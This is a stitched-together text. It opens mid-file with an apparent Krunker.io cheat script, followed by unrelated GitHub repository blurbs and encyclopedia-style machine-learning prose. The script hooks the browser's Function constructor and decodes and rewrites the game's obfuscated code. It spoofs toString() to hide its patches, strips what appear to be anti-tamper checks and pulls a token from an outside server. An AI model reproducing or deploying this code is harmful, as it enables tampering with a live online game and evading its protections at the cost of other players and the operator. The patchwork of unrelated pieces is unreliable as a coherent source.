this.renderer.updateFrustum(); } world2Screen (position) { let pos = position.clone(); let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; pos.project(this.renderer.camera); pos.x = (pos.x + 1) / 2; pos.y = (-pos.y + 1) / 2; pos.x *= scaledWidth; pos.y *= scaledHeight; return pos; } getInView(entity) { return null == this.getCanSee(this.me, entity.x, entity.y, entity.z); } getIsFriendly(entity) { return (this.me && this.me.team ? this.me.team : this.me.spectating ? 0x1 : 0x0) == entity.team } } function loadWASM() { window.Function = new Proxy(window.Function, { construct(target, args) { const original = new target(...args); if (args.length) { let body = args[args.length - 1]; if (body.length > 38e5) { // game.js at game loader Easy Method //console.log(body) } else if (args[0] == "requireRegisteredType") { return (function(...fnArgs){ // Expose WASM functions if (!window.hasOwnProperty("WASM")) { window.Object.assign(window, { WASM: { requireRegisteredType:fnArgs[0], __emval_register:[2], } }); for(let name in fnArgs[1]) { window.WASM[name] = fnArgs[1][name]; switch (name) { case "__Z01dynCall_fijfiv": //game.js after fetch and needs decoding fnArgs[1][name] = function(body) { // Get Key From Known Char let xorKey = body.charCodeAt() ^ '!'.charCodeAt(), str = "", ret =""; // Decode Mangled String for (let i = 0, strLen = body.length; i < strLen; i++) { str += String.fromCharCode(body.charCodeAt(i) ^ xorKey); } // Manipulate String //console.log(str) window[skidStr] = new Skid(); str = skid.gameJS(str); //ReEncode Mangled String for (let i = 0, strLen = str.length; i < strLen; i++) { ret += String.fromCharCode(str[i].charCodeAt() ^ xorKey); } // Return With Our Manipulated Code return window.WASM[name].apply(this, [ret]); }; break; case "__Z01dynCall_fijifv": //generate token promise fnArgs[1][name] = function(response) { if (!response.ok) { throw new window.Error("Network response from " + response.url + " was not ok") } let promise = window.WASM[name].apply(this, [response]); return promise; }; break; case "__Z01dynCall_fijjjv": //hmac token function fnArgs[1][name] = function() { console.log(arguments[0]); return window.WASM[name].apply(this, arguments); }; break; } } } return new target(...args).apply(this, fnArgs); }) } // If changed return with spoofed toString(); if (args[args.length - 1] !== body) { args[args.length - 1] = body; let patched = new target(...args); patched.toString = () => original.toString(); return patched; } } return original; } }) function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://coder369.ml/d/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.request = (url, type, opt = {}) => fetch(url, opt).then(response => response.ok ? response[type]() : null); let Module = { onRuntimeInitialized: function() { function e(e) { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = "<div style='color: rgba(255, 255, 255, 0.6)'>" + e + "</div><div style='margin-top:10px;font-size:20px;color:rgba(255,255,255,0.4)'>Make sure you are using the latest version of Chrome or Firefox,<br/>or try again by clicking <a href='/'>here</a>.</div>"; window.instructionHolder.style.pointerEvents = "all"; }(async function() { "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder ? await Module.initialize(Module) : e("Your browser is not supported.") })().catch(err => { e("Failed to load game."); throw new Error(err); }) } }; window._debugTimeStart = Date.now(); window.request("/pkg/maindemo.wasm","arrayBuffer",{cache: "no-store"}).then(body => { Module.wasmBinary = body; window.request("/pkg/maindemo.js","text",{cache: "no-store"}).then(body => { body = body.replace(/(function UTF8ToString\((\w+),\w+\)){return \w+\?(.+?)\}/, `$1{let str=$2?$3;if (str.includes("CLEAN_WINDOW") || str.includes("Array.prototype.filter = undefined")) return "";return str;}`); body = body.replace(/(_emscripten_run_script\(\w+\){)eval\((\w+\(\w+\))\)}/, `$1 let str=$2; console.log(str);}`); new Function(body)(); window.initWASM(Module); }) }); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; } } } }); observer.observe(document, { childList: true, subtree: true }); } function loadBasic() { let request = async function(url, type, opt = {}) { return fetch(url, opt).then(response => { if (!response.ok) { throw new Error("Network response from " + url + " was not ok") } return response[type]() }) } let fetchScript = async function() { const data = await request("https://krunker.io/social.html", "text"); const buffer = await request("https://krunker.io/pkg/krunker." + /\w.exports="(\w+)"/.exec(data)[1] + ".vries", "arrayBuffer"); const array = Array.from(new Uint8Array(buffer)); const xor = array[0] ^ '!'.charCodeAt(0); return array.map((code) => String.fromCharCode(code ^ xor)).join(''); } function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://skidlamer.github.io/wp/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.instructionHolder.style.pointerEvents = "all"; window._debugTimeStart = Date.now(); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; fetchScript().then(script=>{ window[skidStr] = new Skid(); const loader = new Function("__LOADER__mmTokenPromise", "Module", skid.gameJS(script)); loader(new Promise(res=>res(JSON.parse(xhr.responseText).token)), { csv: async () => 0 }); window.instructionHolder.style.pointerEvents = "none"; }) } } } }); observer.observe(document, { childList: true, subtree: true }); } let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.sys32.dev/token', false); try { xhr.send(); if (xhr.status != 200) { loadWASM(); } else { if (xhr.responseText.includes('success')) { loadBasic(); } else loadWASM(); } } catch(err) { loadWASM(); }
MarineRock10 / FSGP BGK ROS2FSGP-BGK-ROS2: Real-time Spatial-temporal Traversability Assessment - ROS 2 Implementation (IROS 2025) Official ROS 2 implementation of our feature-based sparse Gaussian process method for real-time terrain analysis and autonomous navigation in complex outdoor environments.
Gagniuc / Single For Loop Traversal Of 3D ArraysIt demonstrates the use of a single "for-loop" in traversing three-dimensional arrays. The example shown here is made in Javascript.
Dipeshtwis / Enumerable MethodsIn this project, we built our own enumerable methods. The Enumerable mixin provides collection classes with several traversals and searching methods.
XDoodler / AlgorithmsThis repository contains algorithms. <3
amarjitdhillon / Find Shortest Path Using Generic Algorithm In MATLABObjective of this project was to select minimum cost path for sending packets from router A to router B such that all routers are traversed, hence this problem is different to Travelling Salesmen Problem (TSP), where Intermediate nodes can be left off. Initial location for all routers was randomly generated in 3-D space. Hinged upon initially generated locations, distance amidst them is computed using Euclidian formula which serves as Fitness function. Initial Population was selected using Roulette wheel selection using aforementioned Fitness function. Then Crossover was computed if, Probability of crossover. Pc > (Randomly generated probability) using two-point crossover. After this initial population was updated and mutation was done if Pm > (Randomly generated probability). Best chromosome was computed using max fitness function and Inversion / Swapping / Sliding was done on 2nd,3rd,4th chromosome, while 1st chromosome was passed as such using Elite Selection method to preserve best chromosome (Solution in this case). User have laxity to enter number of initial routers, size of initial population and number of iterations for Genetic algorithm to simulate. This method was named as MGA (Modified Genetic Algorithm) and it’s performance was juxtaposed with SGA (Simple Genetic Algorithm) where Initial Selection / Fitness function / Crossover / Mutation method deployed were computed differently using same set of routers co-ordinates used for SGA. Results were shown using six simulation Graphs, three for each case.
orxfun / Orx Linked ListA linked list implementation with unique features and an extended list of constant time methods providing high performance traversals and mutations.
XuJin1992 / The Research And Implementation Of Data Mining For Geological DataData mining and knowledge discovery, refers to discover knowledge from huge amounts of data, has a broad application prospect.When faced with geological data, however, even the relatively mature existing models, there are defects performance and effect.Investigate its reason, mainly because of the inherent characteristics of geological data, high dimension, unstructured, more relevance, etc., in the data model, indexing structure knowledge representation, storage, mining, etc., is far more complicated than the traditional data. The geological data of the usual have raster, vector and so on, this paper pays attention to raster data processing.Tobler theorem tells us: geography everything associated with other things, but closer than far stronger correlation.Spatial correlation characteristics of geological data, the author of this paper, by establishing a spatial index R tree with spatial pattern mining algorithms as the guiding ideology, through the raster scanning method materialized space object space between adjacent relationship, transaction concept, thus the space with a pattern mining into the traditional association rules mining, and then take advantage of commonly used association rules to deal with some kind of geological data, to find association rules of interest. Using the simulation program to generate the geological data of the experiment, in the process of experiment, found a way to use R tree indexing can significantly speed up the generating spatial transaction set, at the same time, choose the more classic Apriori algorithm and FP - growth algorithm contrast performance, results show that the FP - growth algorithm is much faster than the Apriori algorithm, analyses the main reasons why the Apriori algorithm to generate a large number of candidate itemsets.In this paper, the main work is as follows: (1) In order to speed up the neighborhood search, choose to establish R tree spatial index, on the basis of summarizing the common scenarios to apply spatial indexing technology and the advantages and disadvantages. (2) Based on the analysis of traditional association rule mining algorithm and spatial association rule mining algorithm on the basis of the model based on event center space with pattern mining algorithm was described, and puts forward with a rule mining algorithm based on raster scanning, the algorithm by scanning for the center with a grid of R - neighborhood affairs set grid, will study data mining into the traditional data mining algorithm. (3) In the process of spatial index R tree insert, in order to prevent insertion to split after the leaf node, leading to a recursive has been split up destroy the one-way traverse, is put forward in the process of looking for insert position that records if full node number is M (M number) for each node up to insert nodes, first to divide to avoid after layers of recursive splitting up, speed up the R tree insertion efficiency. (4) On the basis of spatial transaction set preprocessing, realize the Apriori algorithm and FP-growth algorithm two kinds of classic association rule mining algorithm, performance contrast analysis.
Aryia-Behroziuan / Robot LearningIn developmental robotics, robot learning algorithms generate their own sequences of learning experiences, also known as a curriculum, to cumulatively acquire new skills through self-guided exploration and social interaction with humans. These robots use guidance mechanisms such as active learning, maturation, motor synergies and imitation. Association rules Main article: Association rule learning See also: Inductive logic programming Association rule learning is a rule-based machine learning method for discovering relationships between variables in large databases. It is intended to identify strong rules discovered in databases using some measure of "interestingness".[60] Rule-based machine learning is a general term for any machine learning method that identifies, learns, or evolves "rules" to store, manipulate or apply knowledge. The defining characteristic of a rule-based machine learning algorithm is the identification and utilization of a set of relational rules that collectively represent the knowledge captured by the system. This is in contrast to other machine learning algorithms that commonly identify a singular model that can be universally applied to any instance in order to make a prediction.[61] Rule-based machine learning approaches include learning classifier systems, association rule learning, and artificial immune systems. Based on the concept of strong rules, Rakesh Agrawal, Tomasz Imieliński and Arun Swami introduced association rules for discovering regularities between products in large-scale transaction data recorded by point-of-sale (POS) systems in supermarkets.[62] For example, the rule {\displaystyle \{\mathrm {onions,potatoes} \}\Rightarrow \{\mathrm {burger} \}}\{{\mathrm {onions,potatoes}}\}\Rightarrow \{{\mathrm {burger}}\} found in the sales data of a supermarket would indicate that if a customer buys onions and potatoes together, they are likely to also buy hamburger meat. Such information can be used as the basis for decisions about marketing activities such as promotional pricing or product placements. In addition to market basket analysis, association rules are employed today in application areas including Web usage mining, intrusion detection, continuous production, and bioinformatics. In contrast with sequence mining, association rule learning typically does not consider the order of items either within a transaction or across transactions. Learning classifier systems (LCS) are a family of rule-based machine learning algorithms that combine a discovery component, typically a genetic algorithm, with a learning component, performing either supervised learning, reinforcement learning, or unsupervised learning. They seek to identify a set of context-dependent rules that collectively store and apply knowledge in a piecewise manner in order to make predictions.[63] Inductive logic programming (ILP) is an approach to rule-learning using logic programming as a uniform representation for input examples, background knowledge, and hypotheses. Given an encoding of the known background knowledge and a set of examples represented as a logical database of facts, an ILP system will derive a hypothesized logic program that entails all positive and no negative examples. Inductive programming is a related field that considers any kind of programming language for representing hypotheses (and not only logic programming), such as functional programs. Inductive logic programming is particularly useful in bioinformatics and natural language processing. Gordon Plotkin and Ehud Shapiro laid the initial theoretical foundation for inductive machine learning in a logical setting.[64][65][66] Shapiro built their first implementation (Model Inference System) in 1981: a Prolog program that inductively inferred logic programs from positive and negative examples.[67] The term inductive here refers to philosophical induction, suggesting a theory to explain observed facts, rather than mathematical induction, proving a property for all members of a well-ordered set. Models Performing machine learning involves creating a model, which is trained on some training data and then can process additional data to make predictions. Various types of models have been used and researched for machine learning systems. Artificial neural networks Main article: Artificial neural network See also: Deep learning An artificial neural network is an interconnected group of nodes, akin to the vast network of neurons in a brain. Here, each circular node represents an artificial neuron and an arrow represents a connection from the output of one artificial neuron to the input of another. Artificial neural networks (ANNs), or connectionist systems, are computing systems vaguely inspired by the biological neural networks that constitute animal brains. Such systems "learn" to perform tasks by considering examples, generally without being programmed with any task-specific rules. An ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68]
futurist / ObjutilJavascript Object util methods with deep traverse, with ES6 tree shaking methods: get/set/unset/remove, visit, assign(extend), merge, exclude, default, pick, deepEqual. Customize the APIs into one file
ImInsulator / Implementation Of The Wang Landau AlgorithmThe Wang-Landau algorithm based on the Monte Carlo method is proposed by Fugao Wang and David Landau [1] to calculate density of the states(DOS) efficiently. This method constructs the DOS through non-Markov random transitions, traversing all possible states. After reviewing Wang-Landau algorithm, the analysis of the results through the implementation in Python for 2D Ising model is shown in this short report.
Mohitkumar6122 / ENaDEA new data encryption and decryption method is proposed using ASCII values of characters in the plaintext and Binary Tree Traversal (BTT).
gawkermedia / Traverse DomSimple DOM traversal methods with some tolerance for modification of the element tree during traversal
